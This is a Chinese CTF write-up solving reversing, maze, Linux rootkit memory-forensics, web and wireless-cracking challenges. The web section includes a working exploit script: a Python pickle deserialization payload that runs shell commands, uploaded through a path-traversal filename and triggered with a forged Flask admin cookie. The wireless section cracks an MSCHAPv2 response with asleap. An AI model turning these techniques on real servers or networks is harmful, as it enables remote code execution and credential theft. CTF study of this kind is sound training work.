直接反编译很容易找到java代码
public static String reChange(String str) { char[] charArray = str.toCharArray(); int length = charArray.length; for (int i = 0; i < length / 2; i++) { char c = charArray[i]; int i2 = (length - 1) - i; charArray[i] = charArray[i2]; charArray[i2] = c; } return String.valueOf(charArray); } protected static boolean checkflag(String strIn) { String[] sArray = strIn.split("_"); Log.i("xxx1", String.format("%d", new Object[]{Integer.valueOf(sArray.length)})); if (sArray.length == 4 && strIn.length() == 27) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < sArray.length; i++) { String reChange = reChange(sArray[i]); String substring = reChange.substring(0, i + 1); String substring2 = reChange.substring(i + 1); String reChange2 = reChange(substring); String reChange3 = reChange(substring2); sb.append(reChange2); sb.append(reChange3); } BigInteger m = new BigInteger(sb.toString(), 16); if (m.pow(65537).mod(new BigInteger("A3332C65844CC6F5E5DABE8DD42FDE39", 16)).toString(16).compareTo("6d14c92d4ae244b583227f1e870f57bc") == 0) { return true; } } return false; }
题目大概疑似是flag长度27位,由三个_
连接而成的字符串,经过字符串一系列转化后得到16进制hash字串,然后进行RSA加密运算,运算结果与固定值进行比较。
逆向思路:
1、对RSA的n
进行分解,执行RSA解密
2、观察字符串操作的规律,逆向回原始串即可
RSA的加密结果为0x6d14c92d4ae244b583227f1e870f57bc
,e=65537
,n=0xA3332C65844CC6F5E5DABE8DD42FDE39
利用RSA大数分解工具n
,如RsaTool2
,yafu
等,得到p=12004517743563056963;q=18070686016358995667
, 解密后得到cafe2c86588df9d0798304e8
解密code如下:
p=12004517743563056963 q=18070686016358995667 n=0xA3332C65844CC6F5E5DABE8DD42FDE39 s='6d14c92d4ae244b583227f1e870f57bc' print n==p*q import gmpy2 d=gmpy2.invert(65537,(p-1)*(q-1)) c=int(s,16) m=pow(c,d,n) print hex(m)[2:] #cafe2c86588df9d0798304e8
字符串判断运算可看出输入长度为27,其中有3个_
,共4组,则实际字符应该有24个,解密的字符刚好24个,每组6个hex字符
观察一下程序编码规律,简单逆向即可
简单重写一下编码程序,调试观察一下
def reChange(s): s=list(s) for i in range(0,len(s)/2,1): c=s[i] s[i]=s[len(s)-1-i] s[len(s)-1-i]=c return ''.join(s) def sencrypt(str): txt=str.split('_') res='' for i in range(len(txt)): re1=reChange(txt[i]) ss=re1[0:i+1] ss2=re1[i+1:] re2=reChange(ss) re3=reChange(ss2) #print re1,re2,re3 res+='_'+re2+re3 return res def sdecrypt(str): txt=str.split('_') res='' for i in range(len(txt)): c=txt[i] res+='_'+c[i+1:]+c[:i+1] return res print 'abcdef_ghijkl_mnopqr_stuvwx' print sencrypt('abcdef_ghijkl_mnopqr_stuvwx')[1:] #abcdef_ghijkl_mnopqr_stuvwx #fabcde_klghij_pqrmno_uvwxst
可看出按照序号编组(下划线隔开),编码将第n组的后n位和前6-n位拼起来即可,那解码就是将第n组的后6-n位与前n位拼起来即可。
c='cafe2c86588df9d0798304e8' txt='_'.join(c[i:i+6] for i in range(0,len(c),6)) txt=txt.split('_') res='' for i in range(len(txt)): c=txt[i] res+='_'+c[i+1:]+c[:i+1] print res[1:],len(res[1:]) #flag: afe2cc_588d86_079f9d_e88304
IDA反编译,找到核心操作
switch ( v6[i + 3672] ) { case 'a': LODWORD(v8) = v8 - 1; break; case 'd': LODWORD(v8) = v8 + 1; break; case 's': ++HIDWORD(v8); break; case 'w': --HIDWORD(v8); break; default: break; } if ( byte_412070[10 * SHIDWORD(v8) + (signed int)v8] ) { puts("wrong way"); return 0LL; } v6[i + 3776] = byte_4120D8[10 * SHIDWORD(v8) + (signed int)v8] + 19;
可看出是个经典的走迷宫操作,程序根据输入的步键走,如果寻找出口即可get flag
密码是个10*10的密码,0为道路,1为墙
[[1 0 1 1 1 1 1 1 1 1]
[1 0 0 0 0 0 0 0 0 1]
[1 1 1 1 1 1 1 1 0 1]
[1 0 0 0 0 0 0 0 0 1]
[1 0 1 1 1 1 1 1 1 1]
[1 0 1 0 0 0 1 1 1 1]
[1 0 1 0 1 0 0 1 1 1]
[1 0 1 0 1 1 0 0 1 1]
[1 0 0 0 1 1 1 0 0 1]
[1 1 1 1 1 1 1 1 0 1]]
手动或程序走一下迷宫
startI = 0 startJ = 1 ress='' def visit(i,j): global ress maze[i][j] ='p' if j+1<sx: if(maze[i][j+1] == '0'): ress+='d' visit(i,j+1) if i+1<sx: if(maze[i+1][j] == '0'): ress+='s' visit(i+1,j) if j-1>=0: if(maze[i][j-1] == '0'): ress+='a' visit(i,j-1) if i-1>=0: if(maze[i-1][j] == '0'): ress+='w' visit(i-1,j) maze[i][j] ='0' maze=[] f='''1011111111 1000000001 1111111101 1000000001 1011111111 1010001111 1010100111 1010110011 1000111001 1111111101''' for line in f.split('\n'): mazeline=line maze.append(list(mazeline)) sx=len(maze) sy=sx print "The Result:" visit(startI,startJ) print ress #sdddddddssaaaaaaasssssddwwwddsdsdsds
程序为arm aarch64的程序,直接无法运行,需要安装aarch64运行库
apt-get install qemu-user
apt-get install libc6-arm64-gnu
apt-get install gcc-arm-linux-gnueabi
apt-get install gcc-aarch64-linux-gnu
sudo ln -s /usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1 /lib/
export LD_LIBRARY_PATH=/usr/aarch64-linux-gnu/lib/
输入即可got flag
~/temp$ ./bin
sdddddddssaaaaaaasssssddwwwddsdsdsds
flag is=flag{405A5934322E2091C987E7586B544292}
题目为linux内存取证,由于vol.py默认只支持windows系列操作系统的内存取证,首先将题目提供的ubuntu1604.zip拷贝到%volatility_dir%/volatility\plugins\linux目录中
再使用python vol.py --info
就可以看到profile中添加了一行支持Ubuntu16.04
Profiles
--------
Linuxubuntu1604x64 - A Profile for Linux ubuntu1604 x64
过滤查看一下vol.py支持的linux指令
>python vol.py --info|findstr linux
Volatility Foundation Volatility Framework 2.6
linux_apihooks - Checks for userland apihooks
linux_arp - Print the ARP table
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_bash - Recover bash history from bash process memory
linux_bash_env - Recover a process' dynamic environment variables
linux_bash_hash - Recover bash hash table from bash process memory
linux_check_afinfo - Verifies the operation function pointers of network protocols
linux_check_creds - Checks if any processes are sharing credential structures
linux_check_evt_arm - Checks the Exception Vector Table to look for syscall table hooking
linux_check_fop - Check file operation structures for rootkit modifications
linux_check_idt - Checks if the IDT has been altered
linux_check_inline_kernel - Check for inline kernel hooks
linux_check_modules - Compares module list to sysfs info, if available
linux_check_syscall - Checks if the system call table has been altered
linux_check_syscall_arm - Checks if the system call table has been altered
linux_check_tty - Checks tty devices for hooks
linux_cpuinfo - Prints info about each active processor
linux_dentry_cache - Gather files from the dentry cache
linux_dmesg - Gather dmesg buffer
linux_dump_map - Writes selected memory mappings to disk
linux_dynamic_env - Recover a process' dynamic environment variables
linux_elfs - Find ELF binaries in process mappings
linux_enumerate_files - Lists files referenced by the filesystem cache
linux_find_file - Lists and recovers files from memory
linux_getcwd - Lists current working directory of each process
linux_hidden_modules - Carves memory to find hidden kernel modules
linux_ifconfig - Gathers active interfaces
linux_info_regs - It's like 'info registers' in GDB. It prints out all the
linux_iomem - Provides output similar to /proc/iomem
linux_kernel_opened_files - Lists files that are opened from within the kernel
linux_keyboard_notifiers - Parses the keyboard notifier call chain
linux_ldrmodules - Compares the output of proc maps with the list of libraries from libdl
linux_library_list - Lists libraries loaded into a process
linux_librarydump - Dumps shared libraries in process memory to disk
linux_list_raw - List applications with promiscuous sockets
linux_lsmod - Gather loaded kernel modules
linux_lsof - Lists file descriptors and their path
linux_malfind - Looks for suspicious process mappings
linux_memmap - Dumps the memory map for linux tasks
linux_moddump - Extract loaded kernel modules
linux_mount - Gather mounted fs/devices
linux_mount_cache - Gather mounted fs/devices from kmem_cache
linux_netfilter - Lists Netfilter hooks
linux_netscan - Carves for network connection structures
linux_netstat - Lists open sockets
linux_pidhashtable - Enumerates processes through the PID hash table
linux_pkt_queues - Writes per-process packet queues out to disk
linux_plthook - Scan ELF binaries' PLT for hooks to non-NEEDED images
linux_proc_maps - Gathers process memory maps
linux_proc_maps_rb - Gathers process maps for linux through the mappings red-black tree
linux_procdump - Dumps a process's executable image to disk
linux_process_hollow - Checks for signs of process hollowing
linux_psaux - Gathers processes along with full command line and start time
linux_psenv - Gathers processes along with their static environment variables
linux_pslist - Gather active tasks by walking the task_struct->task list
linux_pslist_cache - Gather tasks from the kmem_cache
linux_psscan - Scan physical memory for processes
linux_pstree - Shows the parent/child relationship between processes
linux_psxview - Find hidden processes with various process listings
linux_recover_filesystem - Recovers the entire cached file system from memory
linux_route_cache - Recovers the routing cache from memory
linux_sk_buff_cache - Recovers packets from the sk_buff kmem_cache
linux_slabinfo - Mimics /proc/slabinfo on a running machine
linux_strings - Match physical offsets to virtual addresses (may take a while, VERY verbose)
linux_threads - Prints threads of processes
linux_tmpfs - Recovers tmpfs filesystems from memory
linux_truecrypt_passphrase - Recovers cached Truecrypt passphrases
linux_vma_cache - Gather VMAs from the vm_area_struct cache
linux_volshell - Shell in the memory image
linux_yarascan - A shell in the Linux memory image
一般rootkit可能已注入系统模块或驱动,用linux_lsmod
查看一下查看一些系统模块
>python vol.py -f ram.lime --profile=Linuxubuntu1604x64 linux_lsmod
Volatility Foundation Volatility Framework 2.6
ffffffffc05a3040 lime 20480
ffffffffc05e6040 w1ndsko 20480
ffffffffc05ec1c0 vmw_balloon 20480
......
但是不确定哪个是rootkit模块,那利用linux_moddump
指令将所有加载的模块都导出来
看名字猜测w1ndsko
比较可疑,IDA反编译一下
其中一串Oh8E0oM1XfDBSAFqtRr9cvzx
应该是密文,ubuntu16.04中保存为1.txt,与rootkit模块同目录
模拟加载rootkit模块(insmod w1nds.ko
),自动将1.txt替换为flag:flag{now_u_know_r00tkit}
APK是木马客户端,动态抓取或简单解密即可得到上线地址,因检测了模拟器,需patch掉模拟器检测的部分
抓到服务器地址之后扫描一下发现img目录下存在目录遍历,抓包发现中间件是nginx1.10.3
利用/img../可浏览上一级目录的文件
无法直接下载py文件,再__pycache__
中找到pyc文件可下载,下载并反编译
对py进行分析,发现存在反序列化漏洞,主要功能函数调试代码如下,去掉了加解密的过程及部分过滤判断,可单独运行进行调试
#coding:utf-8 from flask import Flask, request,render_template_string,session import pickle,hashlib,json import datetime app = Flask(__name__) app.permanent_session_lifetime = datetime.timedelta(hours=1)# attention: cookie 1 hour valid, change session every hour app.debug=False app.config["SECRET_KEY"] = "3655c56ec2edae6d29ddaf1d8379b7728bca" @app.route("/") def index(): name = 'guest' if 'user' not in session: session['user']=name if session['user']=='admin': template = u''' <div class="center-content"> <h1>Oops! You are admin!</h1> </div> ''' else: template="Hello, " + session['user']+"\n\n\n\n\n" return render_template_string(template) @app.route("/upload",methods=['POST','GET']) def upload(): try: f=request.files['myfile'] data=f.read() f.seek(0,0) f.save('./img/'+f.filename) except: return '' return '' @app.route("/online",methods=['POST','GET']) def online(): try: pcinfo=json.loads(request.data.decode()) print(pcinfo) sernum=hashlib.md5((pcinfo['IMEI']+pcinfo['RAND']).encode('utf8')).hexdigest() file=open('./remote_mobile/'+sernum+'.dat','wb') xx={'makers':pcinfo['makers'],'IMEI':pcinfo['IMEI'],'RAND':pcinfo['RAND']} pickle.dump(xx,file) file.close() except Exception as e: return '' return '' @app.route("/search",methods=['POST','GET']) def search(): try: if session['user']!='admin': return 'no auth' sx=request.form.get('serial') if len(sx)==32: f=open('./remote_mobile/%s.dat'%sx,'rb') pc=pickle.load(f) print(pc) return pc['makers']+'\n'+pc['IMEI']+'\n'+pc['RAND'] except Exception as e: return str(e) return 'no auth' if __name__ == "__main__": app.run()
/online
可将肉鸡的手机信息数据序列化后保存为文件./remote_mobile/{sernum}.dat
/search
必须再admin账户下执行,将`./remote_mobile/{sernum}.dat
内容读取并反序列化解码,可以执行指令
/upload
可上传文件保存到img
目录下,可以上传序列化到文件中
构造反序列化字符串通过upload功能路径穿越替换dat文件,执行反序列化payload还需要admin权限,通过源码泄露的secret_key构造一个admin的cookie,即可执行指令。
调试利用脚本如下:
import requests,hashlib,pickle,json pcinfol={"makers":"aa","IMEI":"1380000100","RAND":"a"*40} pcinfo2={"makers":"22","IMEI":"1380000000","RAND":"a"*40}#RAND match flag length pcinfol=str(json.dumps(pcinfol)) pcinfo2=str(json.dumps(pcinfo2)) print(pcinfol) print(pcinfo2) class EXP(object): def __init__(self,sernum): self.sernum=sernum def __reduce__(self): #return eval, ("__import__('os').system('a=`cat /*flag*`;echo $a > ./img/xy.txt')",)#put flag in folder where you can read return eval, ("__import__('os').system('a=`cat /*flag*`;sed -i \"s/{y}/$a/\" ./remote_mobile/{x}.dat')".format(x=self.sernum,y='a'*40),) # guest length of flag may be 40 def exp(ip, port): try: BaseUrl="http://%s:%d/"%(ip, port) a=requests.Session() cookie={'session':'eyJ1c2VyIjoiYWRtaW4ifQ.Xfw22w.bW7LJnDE9jLpkZ_LQ3OlGN4Qy2c'} a.cookies=requests.utils.cookiejar_from_dict(cookie,cookiejar=None,overwrite=True) a.post(url=BaseUrl+'online',data=pcinfol,headers={'content-Type': 'xxx'}) x=a.post(url=BaseUrl+'online',data=pcinfo2,headers={'content-Type': 'xxx'}) print(x.text) sernum1=hashlib.md5((eval(pcinfol)["IMEI"]+eval(pcinfol)["RAND"]).encode('utf8')).hexdigest() #filename1 sernum2=hashlib.md5((eval(pcinfo2)["IMEI"]+eval(pcinfo2)["RAND"]).encode('utf8')).hexdigest()#filename2 print(sernum1) print(sernum2) exp2=EXP(sernum2) # py unsearilize tmp_file_name='ff.dat' f=open(tmp_file_name,'wb') pickle.dump(exp2,f) f.close() files={'myfile': ("../remote_mobile/{sernum}.dat".format(sernum=sernum1),open(tmp_file_name, 'rb'))} r=a.post(BaseUrl + "upload", files=files) #upload unsearilize content into file datal={"serial": sernum1} data2={"serial": sernum2} r=a.post(BaseUrl + 'search' ,data=datal)#execute unsearilize payload print(r.text) r=a.post(BaseUrl + 'search', data=data2)#execute cat flag print(r.text) return True except Exception as e : print(str(e)) return False return False if __name__== "__main__" : print(exp('127.0.0.1', 5000))
bytecode字节码逆向,相见https://xz.aliyun.com/t/6934, 不再赘叙
黑客攻击了某企业的无线网络,你能通过数据分析找到入侵者么?入侵者在传送数据时暴露了自己的信息,你可以通过企业地址的oui解开他的NThash么
Hint: PEAP-MSV2
根据猜测,无线攻击经常可能会出现DOS攻击,先分析一下数据包中的Deauth数据包
wlan.fc.type_subtype == 12
得到受攻击的企业网络AP的MAC地址为d6:b0:fd:eb:91:d5
过滤连接该MAC地址的数据包
wlan.da == d6:b0:fd:eb:91:d5
过滤后发现60:02:b4:77:64:63
向该地址发送LL数据包文,获得挑战码与响应码如下:
挑战码:
6c656e67652d34303a65333a33653a31663a36353a38643a61363a3161
解码为lenge-40:e3:3e:1f:65:8d:a6:1a
响应码
706f6e73652d76616c75653a61353a37363a32343a33663a39393a33653a31653a32383a38383a64333a33623a66353a31343a32373a34663a66383a62613a36343a36653a34373a62613a62343a37313a6333
hex解码得到ponse-value:a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3
利用kali里的asleap工具爆破密码,根据题目提示,密码可能为AP-MAC地址的 OUI:d6:b0:fd
(OUI一半为MAC地址的前3个hex字节,标识硬件制造商编号,一般为大写形式)
root@kali:~# echo "D6:B0:FD" > pass.txt
root@kali:~# asleap -C 40:e3:3e:1f:65:8d:a6:1a -R a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3 -W pass.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <[email protected]>
Using wordlist mode with "pass.txt".
hash bytes: be11
NT hash: ab581d2b235f02641bf4cd1759f2be11
password: D6:B0:FD
#flag为flag{ab581d2b235f02641bf4cd1759f2be11}
详见https://xz.aliyun.com/t/6894#toc-8, 不再赘叙
部分离线题目文件下载地址:https://pan.baidu.com/s/1Qokv9mRSvNAM1D3Hg2egdQ 提取码:xtus